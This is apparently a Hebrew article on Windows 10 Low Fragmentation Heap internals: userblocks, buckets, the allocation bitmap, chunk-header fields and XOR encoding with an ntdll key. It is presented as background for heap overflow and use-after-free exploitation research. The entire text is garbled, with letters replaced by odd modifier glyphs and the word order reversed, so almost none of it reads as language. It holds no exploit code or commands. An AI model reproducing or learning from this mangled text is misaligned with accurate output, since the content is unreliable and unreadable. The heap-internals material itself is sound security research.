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 ˢˬ˪ ˤ˞Microsoft  ˭˥˟ˮ ˣ˞ˣ˟ ,ˢˤ ˡ˰˴ ˧˶ˣ˥˞ˬ ˪˞ˮˣ˧˴˶ˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ ?ˢˤˢ ˶˟ˡˢ ˪˩ ˸˞ ˣ˷ˬ˧ˬ

˟ ˸ˣˮˣ˶˯˥ˢˣ ˸ˣˮˣ˶˸˧ˢ ˸˞-NT heap ˟x-LFH: 

 NT heap LFH 

˳ˣ˵˪˞ ˸ˣ˶˧ˢˬ 

 ˞ˣˢ ,˦ˣ˷˲ˢ ˢ˶˵ˬ˟ .˪˟˶ˣ˯ˬ ˨˞ ˶˧ˢˬ

 ˨˶ˡ ˧ˣˮ˲ ˶ˣˤ˞ ˞˴ˬ˧linked list ,ˣ˸ˣ˞ ˪˴˲˧ ,

 ˭ˣ˶˩˧ˤ ˷˵˟˧ ,ˢ˷˵ˢ ˢ˶˵ˬ˟ .ˣ˸ˣ˞ ˶˧ˤ˥˧ˣ

.ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˱˯ˣˮ 

 ˞˴ˬ˧ ˞ˣˢ ,˦ˣ˷˲ˢ ˢ˶˵ˬ˟ .ˡˣ˞ˬ ˶˧ˢˬ

chunk ˟ ˷ˣ˲˧˥˟ ˧ˣˮ˲-bitmap ˶˧ˤ˥˧ˣ ,

 ˷˵˟˧ ˞ˣˢ ,ˢ˷˵ˢ ˢ˶˵ˬ˟ .˶˷˧ ˣ˸ˣ˞

ˢˬ ˱˯ˣˮ ˭ˣ˶˩˧ˤ-NT heap ˰ˢ ˶ˣ˟-

chunk .˫˧˧ˡ˧˸˰ ˫˧˴ˣ˵˪˞ ˶ˣ˟˰ˣ ˢˤˢ 

˶ˣ˶˥˷ ˸ˣ˶˧ˢˬ 

 ˪˷ ˟˴ˬ˟ ˪˲˦˪ ˟˧˧˥ ˞ˣˢ ˶ˣ˶˥˷ ˪˩˟ .˧˦˧˞

 ˫˰ ˡˣ˥˧˞chunk- ˪˷ ˫˧˧ˣˮ˧˷ˣ ,˫˧˩ˣˬ˯ ˫˧

-slinked list-.˫˧˰˧˲ˣˬ ˫ˢ ˫ˢ˟˷ ˫˧ 

 .˦˧˟ ˪˷ ˧ˣ˟˧˩ ˞ˣˢ ˶ˣ˶˥˷ .ˡˣ˞ˬ ˶˧ˢˬ 

˭ˣ˶˩˧ˤ ˪ˣˢ˧ˮ 

 ˫˧˶ˣ˥ ˞˪ˬ˪ ˱˧ˡ˰˧ ˡ˧ˬ˸ ˞ˣˢ .˭ˣ˶˩˧ˤ˟ ˪˧˰˧

 ˷ˬ˸˷ˢ˪ ˧ˡ˩ ˷ˣˬ˧˷˟ ˞˪ ˫ˢ˷ ˭ˣ˶˩˧ˤ˟

.˷ˡ˥ˬ ˫ˢ˟ 

 ˷˞˶ˬ ˶ˣˬ˷˪ ˱˧ˡ˰˧ ˞ˣˢ .˧ˮˤ˟ˤ˟

 ˞˪ˣ ,˫˧˧ˡ˧˸˰ ˫˧˴ˣ˵˪˞˪ ˸ˣ˟˶ˤ˶

 ˫˧ˮˣ˷ ˫˧˪ˡˠ˪ ˫˰˲ ˱˞ ˫ˢ˟ ˷ˬ˸˷˧

.ˣ˧˪˞ ˣˮˣˣ˩˸ˢ˷ ˧˶ˣ˵ˬˢ ˪ˡˣˠˢˬ 

 ˭˧˟ ˸ˣ˩˧˶ˡ ˪˰ ˸ˣ˵˧ˡ˟

chunk-˫˧ 

ˢˬ ˵˪˥ ˪˰ ˢˮˠˢ ˸ˬ˧˧˵-header  ˸ˣ˰˴ˬ˞˟

xor .˧˪ˬˣˡˮ˶ ˨˶˰ ˫˰ 

 ˸ˬ˧˧˵ˢˬ ˵˪˥ ˪˰ ˢˮˠˢ-header 

 ˸ˣ˰˴ˬ˞˟xor .˧˪ˬˣˡˮ˶ ˨˶˰ ˫˰ 

˧ˣ˲˴ ˫˧˴ˣ˵˪˞ ˶ˡ˯ .˸˧˦˯˧ˮ˧ˬ˶˦˧ˡ ˨˞ ˸˟˩˶ˣˬ ˢ˵˧ˠˣ˪ .˧˦˯˧ˮ˧ˬ˶˦˧ˡ ˞˪ 

ˢ˷ ˢˡ˟ˣ˰˪ ˦˶˲ .˫ˢ˧ˮ˷˪ ˸ˣˮˣ˶˯˥ˣ ˸ˣˮˣ˶˸˧ ˷˧˷ ˢ˞˶ˮ-LFH  ˪˰ ˫˧˪˩˸˯ˬ˷˩ ,˭ˣ˶˩˧ˤ ˤ˟ˤ˟ˬ ˫˧ˬ˰˲˪

˟ ˢ˶˧˥˟ˢ ,ˣ˪˞ ˫˧˪ˣ˵˧˷-LFH ˪ ˪ˣ˴˧˲ˢ .˸˷˵˟˸ˬ-frontend x-backend ˪ ˶˷˲˞ˬ-LFH  ˢ˪ˣ˰˲˪ ˯ˮ˩ˢ˪

 ˧ˤ˧˲ˢˣ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˩˶˰ˬ˟ .˭ˣ˶˩˧ˤˢ ˸˞ ˪ˢˮ˪ ˣ˪ ˫˪˸˷ˬ˷ ˢˢˤˬ ˸˧˦˯˧˶ˣ˧ˢ ˞ˣˢ˷ ˵˶

 ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˭˟ˣˬ˩ ,ˢˤˬ ˳ˣ˥ .ˢ˴˧˶ ˭ˬˤ˟ ˨ˣ˯˥˪ ˧ˡ˩ ˭ˣ˶˩˧ˤ ˸˴˵ ˤ˟ˤ˟˪ ˣˮ˪ ˫˪˸˷ˬ˷ ˵˧˲˯ˬ ˪ˣˡˠ ˶˟˩

allocator  ˶˸ˣ˧˷ ˢˬ˩ ˞ˣˢ˷secure. 

 ˫˞˟ ˸˧˟˧˦˪˶ ˢ˟˧˸˩ ˫˧˪˴ˮˬ-heap  ˣ˞UAF ˳ˣ˵˪˞˪ ˫˧˟˧˦˧ˬ˶˲ ˞ˣ˴ˬ˪ ˫˧˩˧˶˴ ˪˪˩ ˨˶ˡ˟ ˣˮ˥ˮ˞ ,

 ˞˧ˢ ˢˤˢ ˶ˬ˞ˬˢ ˪˷ ˢ˶˦ˬˢ .'ˣ˩ˣ ,˭ˣ˶˩˧ˤ˟ ˫˸ˣ˞ ˱˧˧ˤ˪ ,˫ˢ˧˪˰ ˨ˣ˶ˡ˪ ˭˧˧ˮ˰ˬ˷ ˫˧ˮ˟ˬ ˷˲˥˪ ,˶ˣ˶˥˷˪ˣ

ˢ ˨˧˞ ˪˰ˣ ,˫˧˷ˡ˥ˢ ˢ˥˦˟˞ˢ ˧ˮˣˮˠˮˬ ˪˷ ˢ˰˲˷ˢˢ ˶˟ˡ˪-LFH  ˪ˣ˴˧ˮ˟ ˣˮ˪˷ ˢˡˣ˟˰ˢ ˸˶ˣ˴ ˸˞ ˢˮ˷ˬ

˥ ˣˬ˩ ˫˧˶˥˞ ˫˧˶ˣ˦˵ˣ˪˞˟ ˪ˣ˴˧ˮ˪ ˫˧˪˵ ˡˣ˞ˬ ˣ˧ˢ ˫˵˪˥ .˫˧ˮˣ˷ ˫˧ˠˣ˯ˬ ˸ˣ˷˪ˣNT heap  ˣ˞dlmalloc ˨˞ ,

˟ ˫˧˦ˣ˷˲ ˨˩ ˪˩ ˞˪-LFH ˣˬ˩ ˞ˣˢ˷ ˫ˣ˧ˢ. 

ˢ˷ ˸˰ˡ˪ ˧˞ˡ˩ ,˫˧˦˶˲˪ ˪ˣ˪˴ˮ˷ ˧ˮ˲˪-LFH  ˡ˰ ˶˸ˣ˧˟ ˧˸ˣ˰ˬ˷ˬˢ ˶ˣ˲˧˷ˢ .˫˧˸˧˰˪ ˢˮ˸˷ˬ˷ ˭ˣˮˠˮˬ ˞ˣˢ

 ˭˧˟ ˢ˧ˢ ˢ˩Windows 7  ˭˧˟˪Windows 8 ˢ ˣ˟ˢ ˪˷ ˧˦˯˧ˮ˧ˬ˶˦˧ˡ ˞˪ˢ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯ ˢˮˣ˷˞˶˪ ˰˧˲ˣ-

LFHˢ ˢˮ˸˷ˢ ˫ˠˣ ,-metadata  ˪˷chunk  ,˫ˣ˧ˢ ˟˴ˬ˪ ˯˥˧˧˸ˬ ˶ˬ˞ˬˢ .˸ˣ˧˶˞ˮ˧˪ ˸ˣ˩˧˶ˡ ˪˰ ˸ˣ˷˵ˢ˪

˪ ˭ˣ˩ˮ-Windows 10 RS5.˸˰˪ ˸˰ˬ ˭˩ˡ˰˸ˢ˪ ˧˞ˡ˩ ˪˟˞ , 
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LFH Internals 

ˢ ˫ˣ˧ˢ ˤ˞-frontend allocator ˢ ˞ˣˢ-Low Fragmentation Heap . ˫˧˪˪˩ ˧ˮ˷˪ ˫˩˸˯ˬ ˣ˧˶˥˞ˬ ˭ˣ˧˰˶ˢ

:˫˧˦ˣ˷˲ 

¶ Chunk-.˧ˮ˷˪ ˡ˥˞ ˫˧˟ˣ˶˵ ,˭ˣ˶˩˧ˤ ˶ˣˤ˞ ˣ˸ˣ˞˟ ˫˧˟˷ˣ˧ ˫˧˟ˣ˶˵ ˫˧˪ˡˠ˟ ˫˧ 

¶  ˭˧˞fragmentation -  ˢ˧ˢ˧ ˞˪consolidate  ˞˪ˣcoalesce .Chunk- ˣ˞ ˫˧˪˴˲˸ˬ ˞˪ ˫˰˲ ˱˞ ˫˧

˳ˣ˵˪˞˟ ˫˧ˡ˥˞˸ˬ .˫˶ˣ˶˥˷˟ ˣ˞ 

ˢ ˪˰ ˟ˣ˷˥˪ ˶˷˲˞ ˢ˪˞ˢ ˫˧˵ˣ˥ˢ ˧˲˪-LFH ˶ˣ˸˟  ˶˸ˣ˧pool  ˶˷˞ˬheap ˪˩ .pool  ˭˩ˣˬon-demand ,

˟ ˣ˧ˢ˷ ˰ˠ˶˟-runtime  ˧ˣˬˡ ˵˷ˬˬ ˭˸ˣˮ ˢ˩˩ˣ ˪ˡˣˠ ˣ˸ˣ˞˟ ˫˧˴ˣ˵˪˞ ˵˧˲˯ˬheap. 

-schunk- ˞˶˵ˮ˷ ˢˮ˟ˬ˟ ˭ˣ˶˩˧ˤ˟ ˫˧˟˷ˣ˧ ˫˧userblocks ˪˷ ˱˯ˣ˞ ˦ˣ˷˲ ˞ˣˢ˷ ,page ˸ˣ˩˧˸˥˪ ˣˮ˶˟˷˷ ˫˧

 ˞˧ˢ ˣˤ˩ ˢ˩˧˸˥ ˪˩ ,ˢˣˣ˷ ˪ˡˣˠ˟ ˸ˣˮ˦˵chunk ˥˞ ˸˶˷˧˷ˢ .˪ˡˣˠˢ ˣ˸ˣ˞˟ ˳ˣ˵˪˞ ˨˩ ˶-userblocks  ˪˧˩ˬ

chunk-.˫˧˪ˡˠ ˟˟˶˰ˬ ˞˪ˣ ,˫˧˟ˣ˶˵ ˫˧˪ˡˠ˟ ˫˧ 

˪ ˡˣˠ˧ˮ˟-heap ˢ ,˧˯˞˪˵-allocator  ˪˴˲˧ ˞˪ ˫˰˲ ˱˞chunk ˭˦˵˷ ˪ˡˣˠ ˳˵˪˞ˬ ˞ˣˢ ˣ˟ ˢ˶˵ˬ˟ ,

˟ ˧˶˷˲˞ˢ ˫ˣˬ˧˯˵ˬˢˬ-userblocks "ˤ˟ˤˣ˟ˬ" ˭ˣ˶˩˧ˤ ˶˞˷˧ ˤ˞  ˫˧˶˶˥˷ˬ ˫˞ ,ˢˤ ˢ˶˵ˬ˟ .ˣ˧˶˥˞chunk ,

ˢˣ-chunk-ˢ ,˫ˢ ˫ˠ ˫˧˶˶ˣ˥˷ˬ ˫˧ˡˣˬ˴ˢ ˫˧-allocator ˢ ˣ˸ˣ˞ ˸˞ ˠˤˬ˧ ˞˪-chunk ˢ ,˶ˬˣ˪˩ .ˣ˧ˮ˩˷ ˫˰-

userblocks ˪ ˢ˵ˣ˪˥ ˸ˮ˧˥˟ˬ ˟˴ˬ ˣ˸ˣ˞˟ ˡ˧ˬ˸ ˶˞˷˧-chunk- ˡ˧˥˧ˢ ˶˦ˬ˶˲ˢ .ˣ˶˴ˣˣ˧ˢ ˰ˠ˶ˬ ˪˥ˢ ˫˧

 ˪˩ ˪˷ ˯ˣ˦˦˯ˢ ˞ˣˢ ˢˮ˸˷ˬ˷chunk - .˶˶˥ˣ˷ˬ ˣ˞ ˳˵˪ˣ˞ˬ ˞ˣˢ ˫˞ˢ 

Chunk-˟ ˫˧˟˷ˣ˧˷ ˫˧-userblocks  ˣ˸ˣ˞˪ ˫˧˩˧˧˷ ˫˧˧ˣ˯ˬbucket˟ .-bucket  ˢ˸ˣ˞˟ ˫˧˪ˡˠ ˸˴ˣ˟˵˪ ˢˮˣˣ˩ˢ

 ˪˷ ˢ˴˧˲˵granularity -  ˪˷ ˸˥˞ ˢ˴˧˲˵alignment  ˢ˴˧˲˵ ˥ˣˣ˦˟˷ ˢ˪˞ ˫˸ˣ˞ ˪˩ ˫ˢ .˫˧˴ˣ˵˪˞ˢ ˧˪ˡˠ˟

 ˪˷ ˸˥˞granularity ˬ ˪˧˥˸ˬ)-0x10 ,˶ˬˣ˪˩ .(˫˧˪ˡˠ ˫˧˪ˡˠˢ˷ ˪˩˩ ˢ˪ˣ˰ˣ ,0x41, 0x42, 0x43  'ˣ˩ˣ- ˟˷˧ ˣ

 ˣ˸ˣ˞˟userblocksˢ ˫˧˷˶˸ ˭˪ˢ˪ .˥ˣˣ˦ ˣ˸ˣ˞˟ ˫ˢ˷ ˭ˣˣ˧˩ˬ ,-bucket-ˢ ˸ˣ˴˧˲˵ˣ ˫˧˴ˣ˵˪˞ˢ ˧˪ˡˠ ,˫˧-

granularity: 
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 ˸ˮ˩ˢˣ ˸˶˧˴˧Userblocks 

 ˪˩ ˶ˣ˟˰ ˤ˞granularity  ˣˮ˪ ˷˧userblocks ˱˯ˣ˞ ,chunk- ˸˶˷˪ ˫˧˩˥ˬ˷ ,˵ˣ˧ˡ˟ ˪ˡˣˠˢ ˣ˸ˣ˞˟ ˫˧

 ˡ˴˧˩ ˶˞˸ˮ ,ˢ˸˰ .ˣˤˢ ˫˧˪ˡˠˢ ˸˥˲˷ˬ˟ ˫˧˴ˣ˵˪˞malloc x-free .ˢˤ ˪ˡˣˬ˟ ˫˧ˡ˟ˣ˰ 

ˢ˷ ˸ˣ˶ˬ˪-LFH  ˶˧˩ˤˬpool allocators .˫ˢ˪˷ ˵˷ˬˬ˟ ˧˸ˣ˰ˬ˷ˬ ˪ˡ˟ˢ ˷˧ ,Pool- ˪˪˩ ˨˶ˡ˟ ˫˧

ˢ ˪˟˞ ,˷˞˶ˬ ˰ˣ˟˵ ˪ˡˣˠ ˸˶˷˪ ˧ˡ˩ ˫˧˪˥˸ˣ˞ˬ-LFH ˫˧˪ˡˠ˟ ˫˧˴ˣ˵˪˞ ˸˶˷˪ ˨˧˶˴  ˫˧˰ˣˡ˧ ˫ˮ˧˞˷ ˫˧ˮ˸˷ˬ

˪ ˫˧˪ˡˠ ˪˷ ˸ˣ˴ˣ˟˵ ˵˪˥ˬ ˞ˣˢ ,ˢˡˣ˟˰ˢ ˪˰ ˪˵ˢ˪ ˧ˡ˩ .˷˞˶ˬ-buckets ˫˧˪ˡˠ ˢˤ˧˞ ˰ˡˣ˧ ˞ˣˢ ˡ˴˧˩ ˪˟˞ ,

?ˣ˧ˢ˧ 

˟ ˳ˣ˵˪˞˪ ˫˧˞˶ˣ˵ ˣˮ˥ˮ˞˷˩-userspaceˢ ,-frontend  ˸˶˷˪ ˨˧˶˴ ˞ˣˢ ˫˞ˢ ˭˥ˣ˟ˣ ˢ˷˵˟ˢ ˸˞ ˪˟˵ˬ

ˢ ,ˣˮ˧˧˴˷ ˧˲˩ .ˢ˸ˣ˞-LFH ˟ ˡ˟ˣ˰-bucket ˧"˰ ˫˧granularityˢ ˫˞ˢ ˵ˡˣ˟ ˦ˣ˷˲ ˞ˣˢ ˭˩˪ˣ ,-bucket  ˪˷

" ˞ˣˢ ˧˦ˮˣˣ˪˶ˢ ˪ˡˣˠˢactiveˢ˷ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ ˣ˞ ,"-LFH  ˭˩˞ ˞ˣˢˣ ˢˡ˧ˬ˟ .ˣ˟ ˪˲˦˪ ˪˧˥˸ˢ ˶˟˩active ,

˪ ˢ˸ˣ˞ ˶˧˟˰ˬ ˞ˣˢ ,˞˪ˣ ˢˡ˧ˬ˟ .ˢ˷˵˟ˢ ˪˰ ˸ˣˮ˰˪ ˢ˯ˮˬ ˞ˣˢ-backend ˢ˶ˣˬ˞˷ ˢ˵˧˦˯˧˦˦˯ ˭˩ˡ˰ˬˣ ,

˰˲ˬ ˧˸ˬ ˰˧˶˩ˢ˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ˢ ˸˞ ˫˧˪˧-bucket  ˧˶˥˞ ˧˩ ˸˰˟ˣ˵ ˣˤˢ ˸˧˦˯˧˶ˣ˧ˢˢ ˢˬ˧˸˥ˢ .ˢˤˢ0x11 

ˬ ˫˧˲˧˴˶ ˫˧˴ˣ˵˪˞-bucket  ˢ˧ˢˮ ˞ˣˢ ˫˧˧ˣ˯ˬactiveˣ ,-0x12 ˢ ˢˤˣ ˢˡ˧ˬ˟ ˫˧˴ˣ˵˪˞-bucket  ˭ˣ˷˞˶ˢ

 ˢ˧ˢˮ˷activeˢ ˨˩ .-LFH ˡˬˣ˪ .˸˧ˮ˩ˣ˸ˢ ˸˴˧˶ ˨˪ˢˬ˟ ,˫ˢ˟ ˪˲˦˪ ˣ˶ˣ˟˰ ˫˧ˬ˪˸˷ˬ ˫˧˴ˣ˲ˮ ˫˧˪ˡˠ ˢˤ˧˞ 

ˢˣ ˢˡ˧ˬ˟-LFH ˞ˢ ˪˰ ˢ˷˵˟ˢ ˸˞ ˸˶˷ˬ ˭˩-bucket  ˷˧ ˫˞ˢ ˪˩ ˫ˡˣ˵ ˵ˣˡ˟˪ ˨˧˶˴ ˞ˣˢ ,ˢˤˢ ˧˲˧˴˲˯ˢ

userblocks ˳˵˪˞˪ ˨˧˶˴ ,ˢˤ˩ ˡ˥˞ ˭˧˞ ˫˞ .˪˧˰˲ userblock :˶˷˞˩ ˸ˣ˶˵˪ ˪ˣ˩˧ ˢˤ ˟˴ˬ .˷ˡ˥ 

¶ s-bucket  ˢ˧ˢˮactive .ˣ˸ˣ˞ ˣˮ˸˶˧˷ ˞˪ ˫˪ˣ˰ˬ ˨˞ 

¶ ˢ ˪˩ ˸˞ ˣˮ˴˵˪˞ ˶˟˩-chunk-ˢˬ ˫˧-userblocks ˢ ˣ˸ˣ˞ ˪˷-bucket ˳˵˪˞˪ ˨˧˶˴ ˸˰˩ˣ ,userblocks 

.˱˯ˣˮ 

 ˶˟˩ ˫˧˧˵ ˣ˟˷ ,˦ˣ˷˲ˢ ˟˴ˬ˟userblocks  ˣ˟ ˷˧ˣchunk- ˟˴ˬˢ ˪ˣˢ˧ˮ .ˣ˟ ˷ˬ˸˷˧ ˶ˣ˦˵ˣ˪˞ˢ ,˫˧ˮ˧ˬˤ ˫˧

ˢ ˪˷-chunk-˟ ˫˧-userblocks ˪ˣ ˣˮ˪˷ ˫˧ˮ˩˷˪ ˪˪˩ ˸ˣ˯˥˧˧˸ˢ ˣˮ˪ ˭˧˞ ˧˩ ,˶˧ˢˬˣ ˦ˣ˷˲ ˞ˣˢ-state  ,˫ˢ˪˷

 ˪˩ ˫˧ˮ˥ˣ˟ˣchunk  ˪˩ ˶ˣ˟˰ .ˡ˶˲ˮ˟userblocks  ˫˧˧˵subsegment ˢ ˸˞ ˵˧ˤ˥ˬ˷-metadata  ,ˣˮˬˬ .ˣ˪˷

 ˫˧˧˵bitmap ˢ ˸˞ ˵˧ˤ˥ˬ˷-state  ˪˩ ˪˷chunk ˟-userblocks ˳˵˪˞˪ ˨˧˶˴ ˫˞ .chunk ˸˞ ˫˧˵˧˪ˡˬ ,

˟ ˣ˪˷ ˯˵ˡˮ˧˞˪ ˫˧˞˸ˬˢ ˦˧˟ˢ-bitmapˢ ,˸˞ˤˢ ˢ˶ˣ˴˸˟ .ˣ˸ˣ˞ ˫˧˟˩ˬ ,˶˶˥˷˪ ˨˧˶˴ ˫˞ˣ ,-state ˢ ˪˷-

chunk .˦ˣ˷˲ˣ ˶˧ˢˬ ˨˧˪ˢ˸ˢˣ ,ˣ˩ˣ˸˟ ˵ˤ˥ˣˬ ˞˪ ˪˪˩˟  

 ˳˵˪˞˪ ˨˧˶˴ˣ ˢˡ˧ˬ˟userblocks ˢ ,˱˯ˣˮ-LFH ˪ ˢˮˣ˲-backend  ˣ˪ ˳˵˪˞˪ ˣˮˬˬ ˷˵˟ˬˣpage ,˫˧

ˢ ˸ˣ˧ˢ˪ ˫˧ˡ˧˸˰˷-userblocks ˢˬ ˷˵˟ˬ ˞ˣˢ˷ ˳ˣ˵˪˞ˢ ˪ˡˣˠ .˷ˡ˥ˢ-backend ˢ ˸ˣˬ˩˟ ˧ˣ˪˸-chunk- ˫˧

ˢ ˠˣ˯˟ ˧ˣ˪˸ ˢˤˢ ˟ˣ˷˧˥ˢˣ ,˵˧ˤ˥ˢ˪ ˨˪ˣˢ ˞ˣˢ˷-bucket. 
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ˢ ˪ˡˣˠ ˪˷ ˟ˣ˷˧˥ˢ ˪˩˪ ˭˞˩ ˯ˮ˩ˮ ˞˪-userblocks ˫ˢ˧ˮ˷˷ ,ˣ˧˪˰ ˫˧ˬ˯˥ ˧ˮ˷ ˷˧˷ ˸˰ˡ˪ ˟ˣ˷˥ ˭˩ ˪˟˞ ,

:˫˧˧˵˸ˢ˪ ˫˧˟˧˧˥ 

0. ˢ ˸ˣˬ˩-chunk-˟ ˫˧-userblocks  ˪˰ ˢ˪˰˸ ˞˪0x400 

1. ˪ ˸˥˸ˬ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˸˪˪ˣ˩ˢ ˫˧˸˟ˢ ˸ˣˬ˩-0x78000 

˟ ˡˣ˵˟ ˫˧˰ˣ˟˵ ˢ˪˞ˢ ˫˧ˬ˯˥ˢ ˧ˮ˷-ntdll-ˢ˷ ˪˩˩ .˫˧-granularity  ˰ˠ˲ˮ˷ ˧ˣ˩˧˯ ˶˸ˣ˧ ˷˧ ˢ˩˩ ,˶˸ˣ˧ ˢ˪ˣˡˠ

.˭ˣ˷˞˶ˢ ˶˷˞ˬ ˧ˮ˷ˢ ˫˯˥˟ ˫ˡˣ˵ ˶˥˞˪ ˢ ˶ˣ˟˰ ˷ˡ˥ ˭ˣ˶˩˧ˤ ˶ˣˤ˞ ˶˟˩ ˷˧˷-userblock ˢˬ-backend ,

 ˧ˡ˧ ˪˰ ˪˲ˣ˦ˬ ˢˤˢ ˨˧˪ˢ˸ˢ .ˣ˸ˣ˞ ˪˥˸˞˪ ˨˧˶˴ntdll!RtlpSubSegmentInitialize ˪˥˸˞˪˟ ˪˧˥˸ˬ ˞ˣˢ .

ˢ ˸ˣ˧ˢ˪ ˣ˸ˣ˞ ˰˟ˣ˵ˣ ,˸ˣˡ˷-userblocks :˶ˣ˸˟ ˞˟ˢ 

 

ˢ ˸˞ ˫˧ˮˣ˟ˣ ,˭ˣ˶˩˧ˤˢ ˶ˣˤ˞ ˪˩ ˪˰ ˫˧˶˟ˣ˰ ,ˣ˧˷˩˰-chunk-ˢ ˸˞ ˫˧˪˥˸˞ˬ ,ˣ˩ˣ˸˟ ˫˧-header  ˡ˥˞ ˪˩ ˪˷

 .˫ˢˬ 
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ˢ ,˭˞˩ˬ-userblock .˷ˣˬ˧˷˪ ˭˩ˣˬ ˷ˡ˥ˢ ˟ ˫˧˪˥˸ˣ˞ˬ˷ ˫˧˧˦˧˶˵ ˸ˣˡ˷ ˢˬ˩ ˭˞˩ ˫˧˞ˣ˶-header  ˪˩ ˪˷

chunk: 

0.  ˪˩ˬ ˶˦ˮ˧ˣ˲ ˪˷ ˡˣˡ˧˵chunk ˪-subsegment .ˣ˸ˣ˞ ˪ˢˮˬ˷ s-subsegment  ˫˧ˮ˟ˬˢ ˡ˥˞ ˞ˣˢ

ˢ ˪ˣˢ˧ˮ ˪˰ ˧˞˶˥˞ ˞ˣˢˣ ,˶˸ˣ˧˟ ˫˧˧˯˧˯˟ˢ-chunk-˟ ˫˧-LFHˢ ˪˷ ˶ˣ˶˥˷˟ ,ˢˤ ˡˣˡ˧˵ ˧˲˪ .-chunkˢ ,-

LFH ˪ ˸˷ˠ˪ ˰ˡˣ˧-subsegment .˫˧˞˸ˬˢ 

1. LFHFlags ˢˡ˷˟ ˟˷ˣ˧˷ ,UnusedBytes ˪ ˢˣˣ˷ ˡ˧ˬ˸ˣ-0x80˪ ˭ˬ˯ˬ ˢˤ .-frontend  ˣˢˤ ˧˩ ˶ˣ˶˥˷˟

chunk ˢ ˧ˡ˧ ˪˰ ˪ˢˣˮ˷-LFH .˨˩ ˣ˧˪˞ ˯˥˧˧˸ˢ˪ ˨˧˷ˬˢ˪ ˷˧ˣ , ˪˷ ˶ˣ˶˥˷chunk ˪ ˥˶˩ˢ˟ ˰˧ˠ˧ ˢˤ˩-

LFH ˪ ˞˪ˣ-NT heap. 

2. PreviousSize˪ ˨˧˧˷ ˶ˣ˵ˬ˟ ˫˷ˢ) ˣ˪˷ ˢ˰˦ˬˢ ˫˷ˢ ˸ˣ˶ˬ˪˷ ,-NT heap˪ ˣˮ˸ˣ˞ ˷ˬ˷ˬ ,(-index ˟-

bitmapˢ ˨˩ .-LFH ˢ ˸˞ ˫˧˶˶˥˷ˬ˷˩ ˸ˣ˟˩˪ ˦˧˟ ˢˤ˧˞ ˰ˡˣ˧-chunk. 

 ˭˧˧ˮ˰ˬ ˶˟ˡˢ ˸˧˧ˮ˟ ˨˧˪ˢ˸ˬ ˵˧˯ˢ˪ ˶˷˲˞˷-userblocks ˢ˷ ˭ˣˣ˧˩ˬ .˭ˣ˶˩˧ˤ˟ ˫ˢ˪˷ ˶ˡ˯ˢ ˞ˣˢ-LFH  ˢˮˣ˲

-˪backend ˢ ,˫˶ˣ˟˰ ˭ˣ˶˩˧ˤˢ ˸˞ ˳˵˪˞˪ ˧ˡ˩-backend ˢ ˸˞ ˳˵˪˞˧-page ˫˰ ˣ˪˪ˢ ˫˧VirtualAllocEx ,

ˢ ˪˷ ˸˧˸˥˸ˢˬ ,˸˧˪˞ˣ˦˶˧ˣ ˢ˲˧˴˶ ˢ˶ˣ˴˟ ˣ˴˵˪˞˸˧ ˫ˢˣ-heap  ˫˧˪ˠˣ˯ˬ ˣˮ˥ˮ˞ˣ ˢˡ˧ˬ˟ ,˭˩˪ .ˢ˞˪ˢˣ ˯˯˶˪

.˧ˮ˷ˢ ˧˶˥˞ ˡ˥˞ ˢ˲˧˴˶ ˢ˶ˣ˴˟ ˣ˴˵˪˞˸˧ ˫ˢ˷ ˟˴ˬ˪ ˰˧ˠˢ˪ ˭˸˧ˮ ,ˢ˟˶ˢ ˳˵˪˞˪ˣ 

ˢ˷ ˣˮ˧˥˟˧ ˭˧˰ˢ ˧ˡ˥-pointer ˪-subsegment ˟-header  ˪˩ ˪˷chunk  ˶˟ˣ˰xor ˢˤ˪ ˨ˣ˲ˢˢ ˨˧˪ˢ˸ˢ .

ˬ ˰˧ˠˢ˪ ˧ˡ˩ ,˶ˣ˶˥˷˟ ˢ˶˵˧-chunk ˪-subsegment  ˪˰ ˞˧ˢ ˞ˣˢ˷ ˣˬ˩ ˰˧˲ˣˬ ˞˪ ˶˦ˮ˧ˣ˲ˢ˷ ˢ˟˧˯ˢ .ˣ˪˷

ˢ˪ ˸ˮˬ ˧ˮ˲ˬ ˭ˠoverflows  ˭˧˟chunk- ˶˟ˣ˰ ˞ˣˢ .˫˧xor  ˫˰cookie ˟ ˪ˣ˟ˬ˧˯˩ ˞˴ˬˮ˷ ,˧˞˶˵˞-ntdll 

 ˞˶˵ˮˣntdll!RtlpLFHKeyˢ ˪˷ ˨˶˰ˢ ˢˬ ˸ˣ˪ˠ˪ˣ ˢ˞˧˶˵ ˠ˧˷ˢ˪ ˧˪˟ˬ˷ ˭˧˟ˢ˪ ˶˷˲˞ ˭˞˩ ˶˟˩ .-cookie 

ˢ ˪˰ ˨ˣ˶ˡ˪ ˪˩ˣˮ ˞˪ ,˸˶˥˞ ˣ˞ ˸˞ˤ˩ ˢ˶ˣ˴˟ ˢˤˢ-header ˢ ˪˩ ˞˪ ,˸˞ˤ ˸ˣ˶ˬ˪ .ˣ˸ˣ˞ ˱˧˧ˤ˪ˣ-header 

 ˶˟ˣ˰xor: PreviousSize .˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˣˤ ˢˡ˟ˣ˰ ˪˷ ˫˧˧˪˞˧˴ˮ˦ˣ˲ ˫˧˪ˣ˴˧ˮ ˭˥˟ˮ .ˢˬˣˡ ˟ˣ˷˧˥ ˶˟ˣ˰ ˞˪ 

ˢ ˸˧˧ˮ˟ ˨˧˪ˢ˸˪ ˶ˣˤ˥ˮ-userblocks ˪˩ ˶ˣ˟˰˷ ˣˮ˧˧˴ .userblocks ˢ ,˪˧˰˲-LFH  ˵ˤ˥˸ˬˣ ˳˵˪˞ˬbitmap 

 ˣ˪˧˞ ˭˧˧˴ˬ˷chunk-ˢ ˪˷ ˳ˣ˵˪˞ˢˣ ˢ˧˧ˮ˟ˢ .˞˪ ˣ˪˧˞ˣ ˫˧˯ˣ˲˸ ˫˧-bitmap ˢ ˶˥˞˪ ˡ˧ˬ ˸˧˶ˣ˵-flow  ˠ˴ˣˬˢ

:˨˩ ˸˧˞˶ˮ ˞˧ˢˣ ,˪˧˰˪ 
